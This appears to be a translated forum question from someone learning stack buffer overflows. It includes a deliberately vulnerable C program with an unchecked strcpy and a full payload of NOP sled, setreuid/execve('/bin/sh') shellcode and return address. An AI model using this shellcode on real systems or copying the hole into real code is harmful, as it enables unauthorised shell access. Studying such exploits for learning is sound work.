Я пытаюсь добавить шелл-код во входные данные, чтобы продемонстрировать переполнение буфера, ведущее к перехвату управления.Вот программа;
int foo(char *mainbuff)
{
char foobuff[128];
strcpy(foobuff, mainbuff);
printf("foobuff new value is %s\n", foobuff);
return 0;
}
int main()
{
char mainbuff[256];
printf("Please enter value of mainbuff\n\n");
scanf("%s", mainbuff);
foo(mainbuff);
printf("Program is exitting normally!!\n\n\n");
return 0;
}
Согласно моему пониманию, когда я должен дать \x90
этот ввод моей программе c, он должен принять его и сохранить в памяти как один байт.Поэтому, когда я объединяю nops с шеллкодом и адресом, мой ввод выглядит как
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x10\xd2\xff\xff
Он должен храниться как отдельные байты в массивах, но компилятор добавляет еще один \
, чтобы не экранировать их и не сохранять ихв стековой памяти как 0x3039785c
, которая является шестнадцатеричной формой 09x\
.Мой файл, в котором хранится эта строка, также не точно размером байтов, которые я храню.Я на 64-битной машине, но моя программа скомпилирована с использованием опции -m32 в gcc.
Так что здесь происходит?